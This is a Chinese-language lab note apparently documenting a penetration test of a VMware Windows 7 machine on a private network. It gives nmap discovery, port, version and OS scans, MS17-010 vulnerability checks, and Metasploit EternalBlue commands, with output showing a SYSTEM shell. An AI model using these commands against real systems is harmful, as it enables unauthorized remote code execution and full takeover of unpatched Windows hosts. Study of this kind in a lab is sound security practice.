---
# System prepended metadata

title: Nmap 漏動掃描
tags: [Nmap]

---

# Nmap 漏動掃描

###### tags: `Nmap`


### nmap -T4 -sn 192.168.43.0/24

```shell
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 08:39 EDT
Nmap scan report for kali (192.168.43.84)
Host is up (0.00071s latency).
Nmap scan report for 192.168.43.217
Host is up (0.0020s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 5.23 seconds

```


result: 
192.168.43.217



### tcp scan
```
sudo nmap -T4 -sT -p T:1-65535 192.168.43.217
```


### syn scan 
```
sudo nmap -T4 -sS -p T:1-65535 192.168.43.217
```


若要限定是 TCP Port，則可加上T: 前置。比方說， `-p T:1-65535`。



### 結果:
```shell

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 08:44 EDT
Nmap scan report for 192.168.43.217
Host is up (0.00033s latency).
Not shown: 65519 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
4623/tcp  open  unknown
4624/tcp  open  unknown
5357/tcp  open  wsdapi
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 00:0C:29:DA:FD:12 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 26.37 seconds


```



### 列舉開啟服務的詳細版本
```
nmap -sV -T4 192.168.43.217
```


```shell
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 08:51 EDT
Nmap scan report for 192.168.43.217
Host is up (0.00098s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
554/tcp   open  rtsp?
2869/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp  open  ssl/ms-wbt-server?
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10243/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: LIAR-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.02 seconds

```


### 猜測檢測目標的作業系統版本
```
sudo nmap -T4 -sT -O 192.168.43.217
```


```
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-25 08:58 EDT
Nmap scan report for 192.168.43.217
Host is up (0.00069s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
MAC Address: 00:0C:29:DA:FD:12 (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds

```


---
### namp 弱掃
```
nmap -p 445 --script smb-vuln-ms17-010  192.168.43.217
```


### msfconsole:

```
search ms17-010
```


```
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

```


### 配置選項
```
use 3

show options

set rhosts 192.168.43.217

run

```

有漏洞
```
[+] 192.168.43.217:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.43.217:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```



### 使用exploit 

```
search ms17-010

exploit/windows/smb/ms17_010_eternalblue

show options

set rhosts 192.168.43.217

```




### 返回 meterpreter shell (預設使用)

sysinfo
```

Computer        : LIAR-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_TW
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows


```



shell (使用window shell) 
```
C:\Windows\system32>

```


shell 編碼問題有可能回傳亂碼 (改437 英文)
```
chcp 437
```




whoami
```
C:\Windows\system32>whoami
whoami
nt authority\system

```


whoami /priv
```
Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeTcbPrivilege                Act as part of the operating system       Enabled 
SeAuditPrivilege              Generate security audits                  Enabled 
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 


```


